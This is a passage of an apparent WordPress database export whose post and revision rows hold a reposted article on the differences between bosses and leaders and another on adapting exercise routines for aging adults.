you’ll be able to understand how to explain your vision in a way that will really connect with each person,” Macdonald said. “This means you can personalize the way you motivate people.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She added that good leaders are genuine and loyal, setting an example for their company. “If you lack passion or motivation, odds are your team will too. Don’t be afraid to be human – be real and express your emotions to connect with your workers.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are leaders born or made?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The discussion about whether leadership is an innate trait or something that can be learned spans decades. While there’s extensive&nbsp;research&nbsp;about whether leaders are born or made, the general consensus is that there’s truth to both sides. While some natural abilities – like being collaborative, intelligent, charismatic and compassionate – help professionals emerge as managers, training and experience can transform someone into a true leader.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Many traits, including stress resistance, the ability to delegate, being responsible and having a respectful management style, can and should be trained and learned.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to train to be a leader</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These are some of the many ways to grow proactively as a leader:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Explore management theories.</strong>&nbsp;One way to&nbsp;become a better leader&nbsp;is by consulting management books and exploring&nbsp;management theories. You can evaluate different management styles and select one that suits you and will benefit your team.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find a coach.</strong>&nbsp;Another way to improve your leadership skills is by enrolling in a coaching program. A good&nbsp;career coach&nbsp;will help you identify problem areas and employ thought-provoking strategies to help you develop personally and professionally.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find (and become) a mentor.</strong>&nbsp;Unlike a coach, who is usually with you for a short time with a clear agenda in mind, a mentorship relationship is long term. While a mentor can help you, being a mentor can also help improve your leadership skills.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip: </strong>To&nbsp;find a mentor, try exploring your professional network and ask for recommendations. Alternatively, turn to&nbsp;peer mentoring, which relaxes the traditionally rigid lines between a mentor and mentee.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be a good boss or leader, incorporate a few key strategies into your behavior, including thoughtfulness, communication and setting clear expectations for your employees.&nbsp;&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Be thoughtful.</strong>&nbsp;A good leader conducts their decision-making process based on the team’s and company’s best interests. Gosnell recommends treating your employees with thoughtfulness. “Leaders who lead for impact think first of their followers. They know that if they are doing what is in the best interest of their followers, it will bring great results for the followers and the organization.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Communicate and listen.</strong>&nbsp;Leaders should also incorporate good communication by listening to their teams. Gosnell said that a&nbsp;listening leader&nbsp;will hear how to make an organization better through their team’s words. “Listening leaders grow in influence and impact, while those who neglect to listen to their team will struggle with disengaged employees who won’t listen. A leader who wants to be listened to should practice listening to their people.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Set clear expectations.</strong>&nbsp;Whether you see yourself as a boss or a leader, Andrews said, the key to your success is your staff seeing you as fair in your approach toward them.&nbsp;Set fair, clear employee expectations&nbsp;and be consistent in your manners so your staff knows what they can expect from you. “This is essential in the workplace, as one of the greatest causes of employee stress is not knowing what to expect from their manager,” Andrews said. “Frequent changes in focus and conflicting priorities will leave staff feeling anxious. However, effective communication and a clear goal will ensure that teams all pull in the same direction.”</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are a team leader’s responsibilities?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Team leaders are responsible for more than just delegating tasks and monitoring employees. They are responsible for the success of the whole team and the success of each team member. An effective team leader should understand each member’s strengths, weaknesses and goals, and utilize their talents accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eisinger created a brief checklist for leaders when they’re determining their primary responsibilities:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Ensure the team has what they need to get the job done.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide challenging, meaningful work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Be accessible and approachable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Hold regular one-on-one meetings with each direct report that focus on career development.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Measure performance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide regular, ongoing feedback, including&nbsp;performance reviews.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you do not currently implement all of these responsibilities in your work duties, don’t worry. Focus on improving and seek feedback from your team about what you can do better. According to Eisinger, most good leaders start out as bosses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“In the work I do, it seems to be an inevitable transition point for people as they first step into a supervisory role and develop their leadership capabilities,” she said. “It’s normal to exhibit some of these ‘boss’ characteristics. However, it is critical to recognize one’s unique challenges and work to overcome them so they can become leaders.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are you a leader or a boss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While it can be a strenuous journey from boss to true leader, the rewards are well worth the effort. Being a thoughtful leader can increase your team’s productivity, motivation and loyalty, and ensure your company’s success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.businessnewsdaily.com/1404-characteristics-good-boss.html\">click here.</a></p>\n<!-- /wp:paragraph -->','Are You a True Leader or Just a Boss?','','publish','closed','closed','','are-you-a-true-leader-or-just-a-boss','','','2024-06-08 00:22:31','2024-06-08 00:22:31','',0,'https://smartinsurance.tips/?p=4067',0,'post','',0),(4068,1,'2024-05-20 03:26:41','2024-05-20 03:26:41','','Untitled-10','','inherit','closed','closed','','untitled-10-3','','','2024-05-20 03:26:41','2024-05-20 03:26:41','',4067,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-10.png',0,'attachment','image/png',0),(4069,1,'2024-05-20 03:31:25','2024-05-20 03:31:25','<!-- wp:paragraph -->\n<p>There are crucial differences between bosses and leaders, so it’s crucial to analyze your leadership style to ensure you’re effectively steering your team in the right direction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4068,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-10-1024x1024.png\" alt=\"\" class=\"wp-image-4068\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Being promoted to a management role is a huge accomplishment, but many professionals find the responsibility more challenging than they imagined. Being someone’s boss doesn’t necessarily mean you’re a good leader.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Effective leadership is increasingly essential in the workplace, as more and more employees leave otherwise excellent companies over one resolvable element – bad bosses. According to a study by GoodHire, 82% of all surveyed professionals would potentially quit their job because of a bad boss. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are crucial differences between bosses and leaders, so it’s crucial to analyze your leadership style to ensure you’re effectively steering your team in the right direction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> Even people who start out with less effective management skills can modify their behavior to become good leaders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are the differences between a boss and a leader?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to the father of modern management, Peter Drucker, above all else, all business managers must be leaders. But when many professionals step into management or supervisory roles, they wonder, “What are the qualities of a boss versus a leader?” </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We spoke with leadership experts to discover five crucial differences between the two.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you read the following comparisons, reflect on your actions to determine where you fall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Bosses command; leaders influence.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to Sue Andrews, business and HR consultant at KIS Finance, a key difference is that a boss’s authority comes from their position. In contrast, a leader’s authority comes from their ability to influence others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“A boss is there to ensure that employees follow the rules of an organization, but a leader will encourage others to think for themselves to achieve the desired ends,” Andrews said. “A boss will need to give orders to instruct others what to do, but a leader can inspire others to find the best way forward, whilst motivating them to maximize their potential.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although subordinates follow bosses only because they have to, bosses can grow their influence through encouraging behavior, added Ken Gosnell, founder of CEO Experience. “You can grow your influence by caring for your team, listening to their thoughts and ideas, and sharing the ‘why’ behind the decisions and actions that you take. This is the second step in leadership, but it makes all the difference, and people will follow you because they want to, and not just because they have to.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Bosses explain; leaders inspire.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You shouldn’t just explain a task and leave it in your employee’s hands. According to Christine Macdonald, director of The Hub Events, a boss ensures you understand your work, while a leader supports and guides you through it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“The biggest difference between a leader and a boss is that a good leader inspires people and makes them excited about their work,” she said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Success takes passion; without the desire to complete tasks, workers won’t be as driven to give their best performances. As their leader, you should motivate them by letting them know the importance of their work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Bosses discipline; leaders mentor.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Employees are human, and mistakes are to be expected. Who you are as a boss is evident in how you deal with mishaps. While bosses are more likely to use a reward-and-punishment system to discourage poor behavior, great leaders understand that employees benefit from encouragement and mentorship. If an employee performs well in a specific line of work, that strength should be recognized and mastered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“One key element of leadership is the ability to harness the talents of others to achieve a common goal,” Macdonald said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s essential to note each employee’s strengths and weaknesses and mentor them independently. Rather than attacking skill gaps, work to patch them by guiding employees through their shortcomings and building their confidence in new areas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip:</strong> To become a better mentor, listen, communicate, offer constructive feedback, delegate, and practice empathy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Bosses delegate tasks; leaders delegate authority.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A boss focuses on their department’s objectives and stringently follows protocol to achieve those goals. They think for the short term, delegate tasks to their subordinates and tend to micromanage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Executive and leadership coach Christina J. Eisinger says a boss has key objectives to meet, while a leader sets the team’s long-term vision and uses it as “a key motivator.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“A boss gets results by telling people what to do and is concerned with doing it right,” she said. “A leader is skilled at results by enabling their team to figure out what to do and is concerned with doing what is right.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Andrews added that leaders seek to drive commitment by setting an example for others to follow and inspire others by encouraging development. “They are comfortable delegating authority and avoid micromanaging, preferring to see others develop. Utilizing their excellent communication and negotiation skills, they will influence others for the overall benefit of the organization.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> According to the GoodHire survey, most U.S. workers are most irritated by a manager who is overbearing and micromanages – qualities that can significantly influence their decision to quit their job.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Bosses are above the team; leaders are part of the team.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A boss doesn’t take the time to get to know their employees as a leader does. Eisinger said that bosses view their team members as subordinates, while leaders let go of this hierarchical distinction and view their team members as equal contributors.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be a leader, it’s essential to facilitate positive relationships with your employees. Work with their needs and create a culture that encourages open communication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“By getting to know your team better, you’ll be able to understand how to explain your vision in a way that will really connect with each person,” Macdonald said. “This means you can personalize the way you motivate people.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She added that good leaders are genuine and loyal, setting an example for their company. “If you lack passion or motivation, odds are your team will too. Don’t be afraid to be human – be real and express your emotions to connect with your workers.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are leaders born or made?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The discussion about whether leadership is an innate trait or something that can be learned spans decades. While there’s extensive research about whether leaders are born or made, the general consensus is that there’s truth to both sides. While some natural abilities – like being collaborative, intelligent, charismatic and compassionate – help professionals emerge as managers, training and experience can transform someone into a true leader.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Many traits, including stress resistance, the ability to delegate, being responsible and having a respectful management style, can and should be trained and learned.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to train to be a leader</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These are some of the many ways to grow proactively as a leader:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Explore management theories.</strong> One way to become a better leader is by consulting management books and exploring management theories. You can evaluate different management styles and select one that suits you and will benefit your team. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find a coach.</strong> Another way to improve your leadership skills is by enrolling in a coaching program. A good career coach will help you identify problem areas and employ thought-provoking strategies to help you develop personally and professionally. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Find (and become) a mentor.</strong>&nbsp;Unlike a coach, who is usually with you for a short time with a clear agenda in mind, a mentorship relationship is long term. While a mentor can help you, being a mentor can also help improve your leadership skills.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Tip: </strong>To find a mentor, try exploring your professional network and ask for recommendations. Alternatively, turn to peer mentoring, which relaxes the traditionally rigid lines between a mentor and mentee.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be a good boss or leader, incorporate a few key strategies into your behavior, including thoughtfulness, communication and setting clear expectations for your employees.&nbsp;&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Be thoughtful.</strong>&nbsp;A good leader conducts their decision-making process based on the team’s and company’s best interests. Gosnell recommends treating your employees with thoughtfulness. “Leaders who lead for impact think first of their followers. They know that if they are doing what is in the best interest of their followers, it will bring great results for the followers and the organization.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Communicate and listen.</strong> Leaders should also incorporate good communication by listening to their teams. Gosnell said that a listening leader will hear how to make an organization better through their team’s words. “Listening leaders grow in influence and impact, while those who neglect to listen to their team will struggle with disengaged employees who won’t listen. A leader who wants to be listened to should practice listening to their people.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Set clear expectations.</strong> Whether you see yourself as a boss or a leader, Andrews said, the key to your success is your staff seeing you as fair in your approach toward them. Set fair, clear employee expectations and be consistent in your manners so your staff knows what they can expect from you. “This is essential in the workplace, as one of the greatest causes of employee stress is not knowing what to expect from their manager,” Andrews said. “Frequent changes in focus and conflicting priorities will leave staff feeling anxious. However, effective communication and a clear goal will ensure that teams all pull in the same direction.”</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What are a team leader’s responsibilities?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Team leaders are responsible for more than just delegating tasks and monitoring employees. They are responsible for the success of the whole team and the success of each team member. An effective team leader should understand each member’s strengths, weaknesses and goals, and utilize their talents accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eisinger created a brief checklist for leaders when they’re determining their primary responsibilities:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Ensure the team has what they need to get the job done.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide challenging, meaningful work.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Be accessible and approachable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Hold regular one-on-one meetings with each direct report that focus on career development.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Measure performance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide regular, ongoing feedback, including performance reviews. </li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you do not currently implement all of these responsibilities in your work duties, don’t worry. Focus on improving and seek feedback from your team about what you can do better. According to Eisinger, most good leaders start out as bosses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“In the work I do, it seems to be an inevitable transition point for people as they first step into a supervisory role and develop their leadership capabilities,” she said. “It’s normal to exhibit some of these ‘boss’ characteristics. However, it is critical to recognize one’s unique challenges and work to overcome them so they can become leaders.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are you a leader or a boss?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While it can be a strenuous journey from boss to true leader, the rewards are well worth the effort. Being a thoughtful leader can increase your team’s productivity, motivation and loyalty, and ensure your company’s success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.businessnewsdaily.com/1404-characteristics-good-boss.html\">click here.</a></p>\n<!-- /wp:paragraph -->','Are You a True Leader or Just a Boss?','','inherit','closed','closed','','4067-revision-v1','','','2024-05-20 03:31:25','2024-05-20 03:31:25','',4067,'https://smartinsurance.tips/?p=4069',0,'revision','',0),(4070,1,'2024-05-20 03:33:00','2024-05-20 03:33:00','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4145,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-11-1024x1024.png\" alt=\"\" class=\"wp-image-4145\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In a recent study by the Centers for Disease Control and Prevention (CDC), it was discovered that&nbsp;more than 25% of adults located in the US&nbsp;do not move their bodies regularly.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is concerning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Exercise is essential throughout each stage of our lives, for many reasons, but even more so as our bodies start to get older. The benefits of physical exercise for aging adults, in particular, are abundant – including body-moving motivators such as increased longevity of life, the chance to ward off organ disease, heart disease, and other health conditions, and amazingly, even the potential to minimize the risk of developing mind-crippling dementia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But how can we effectively adapt our exercise routines as we age? Stay with us as we discuss the critical steps older adults should take to maximize their physical health while getting older.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">CONSULT WITH YOUR DOCTOR: GETTING PROFESSIONAL MEDICAL ADVICE BEFORE STARTING A NEW EXERCISE PROGRAM</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keen to focus on your fitness as you start getting older? You likely have more time on your hands to exercise now, especially if you’ve just retired.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tempting as it is, though, try to take care in terms of launching into a new exercise program – you don’t want to injure yourself or cause strain to your aging joints.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As well as consulting with a qualified personal trainer before starting a new fitness regime, be sure to speak to your doctor. If you have a regular family doctor or family nurse practitioner, they should take an interest in following your endeavor to exercise. Before you take their advice though, be sure that they’ve completed the requisite medical qualification – such as an&nbsp;online FNP program, for example – so that you can feel at ease trusting your treating practitioners’ professional recommendations around exercising.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">BE REALISTIC: RE-ALIGNING OUR FITNESS GOALS AS WE AGE</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As we age, we need to be realistic about our continued ability to exercise. Our bodies are, unfortunately, unlikely to be able to move in the same ways they used to. With joint pain, back pain, and lower energy levels all coming into play, it’s no wonder we can’t quite hit the same fitness goals as when we were younger. Indeed, just some of the signs of&nbsp;physical decline in older age&nbsp;include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A reduction in our muscle mass, joint flexibility, and bone strength.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lower levels of stamina, strength, mobility, and endurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Less overall coordination and balance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Reduced respiratory function.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Higher blood pressure and body fat percentage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Increased risk of cardiovascular disease, organ disease, and stroke.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This means that as we get older, we need to know our limits. If we’ve never hiked in our lives, our 50s and 60s may not be the time we decide we want to scale Mount Everest. Never weight trained? We may not be suitably placed to pick up a challenging new powerlifting routine.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite this, though, it’s always fun to test out a different style of physical activity – within reason of course. Try a dance class, or perhaps low-impact yoga, or even reformer pilates. You’re never too old to get fit or to implement better routines to care for your health. If you do, your aging body will thank you for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">EXERCISE – AN ESSENTIAL: THE OBSERVABLE IMPACT OF MOVEMENT ON OLDER ADULTS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Exercising regularly as an adult has a multitude of benefits. But regular exercise is not only helpful to maintain your physical fitness. Research has shown that it can also help&nbsp;keep your brain active. So – an important question – can physical exercise reduce the risk of dementia in senior citizens? Both debilitating and devastating, the crippling effects of dementia are distressing to watch unfold. So if we can find a way to avoid it developing in the first place – or at least, stave it off from happening at a less advanced age – why wouldn’t we follow through?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Indeed, mature adults engaging in regular physical activity have been found to decrease their risk of developing the disease&nbsp;by as much as 25%.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this isn’t enough of a case for incorporating movement into our lives as we get older, we don’t know what is. If the answer is as simple as moving our bodies more frequently, it’s a no-brainer.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.thebraggingmommy.com/healthy-habits-how-to-effectively-adapt-your-exercise-routine-as-you-age/\">click here.</a></p>\n<!-- /wp:paragraph -->','Healthy Habits: How to Effectively Adapt Your Exercise Routine As You Age','','publish','closed','closed','','healthy-habits-how-to-effectively-adapt-your-exercise-routine-as-you-age','','','2024-06-08 00:25:09','2024-06-08 00:25:09','',0,'https://smartinsurance.tips/?p=4070',0,'post','',0),(4071,1,'2024-05-20 03:32:15','2024-05-20 03:32:15','','Untitled-11','','inherit','closed','closed','','untitled-11-4','','','2024-05-20 03:32:15','2024-05-20 03:32:15','',4070,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-11.png',0,'attachment','image/png',0),(4072,1,'2024-05-20 03:33:00','2024-05-20 03:33:00','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4071,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-11-1024x1024.png\" alt=\"\" class=\"wp-image-4071\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In a recent study by the Centers for Disease Control and Prevention (CDC), it was discovered that more than 25% of adults located in the US do not move their bodies regularly. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is concerning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Exercise is essential throughout each stage of our lives, for many reasons, but even more so as our bodies start to get older. The benefits of physical exercise for aging adults, in particular, are abundant – including body-moving motivators such as increased longevity of life, the chance to ward off organ disease, heart disease, and other health conditions, and amazingly, even the potential to minimize the risk of developing mind-crippling dementia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But how can we effectively adapt our exercise routines as we age? Stay with us as we discuss the critical steps older adults should take to maximize their physical health while getting older.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">CONSULT WITH YOUR DOCTOR: GETTING PROFESSIONAL MEDICAL ADVICE BEFORE STARTING A NEW EXERCISE PROGRAM</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keen to focus on your fitness as you start getting older? You likely have more time on your hands to exercise now, especially if you’ve just retired.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tempting as it is, though, try to take care in terms of launching into a new exercise program – you don’t want to injure yourself or cause strain to your aging joints.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As well as consulting with a qualified personal trainer before starting a new fitness regime, be sure to speak to your doctor. If you have a regular family doctor or family nurse practitioner, they should take an interest in following your endeavor to exercise. Before you take their advice though, be sure that they’ve completed the requisite medical qualification – such as an online FNP program, for example – so that you can feel at ease trusting your treating practitioners’ professional recommendations around exercising. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">BE REALISTIC: RE-ALIGNING OUR FITNESS GOALS AS WE AGE</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As we age, we need to be realistic about our continued ability to exercise. Our bodies are, unfortunately, unlikely to be able to move in the same ways they used to. With joint pain, back pain, and lower energy levels all coming into play, it’s no wonder we can’t quite hit the same fitness goals as when we were younger. Indeed, just some of the signs of physical decline in older age include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A reduction in our muscle mass, joint flexibility, and bone strength.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lower levels of stamina, strength, mobility, and endurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Less overall coordination and balance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Reduced respiratory function.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Higher blood pressure and body fat percentage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Increased risk of cardiovascular disease, organ disease, and stroke.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This means that as we get older, we need to know our limits. If we’ve never hiked in our lives, our 50s and 60s may not be the time we decide 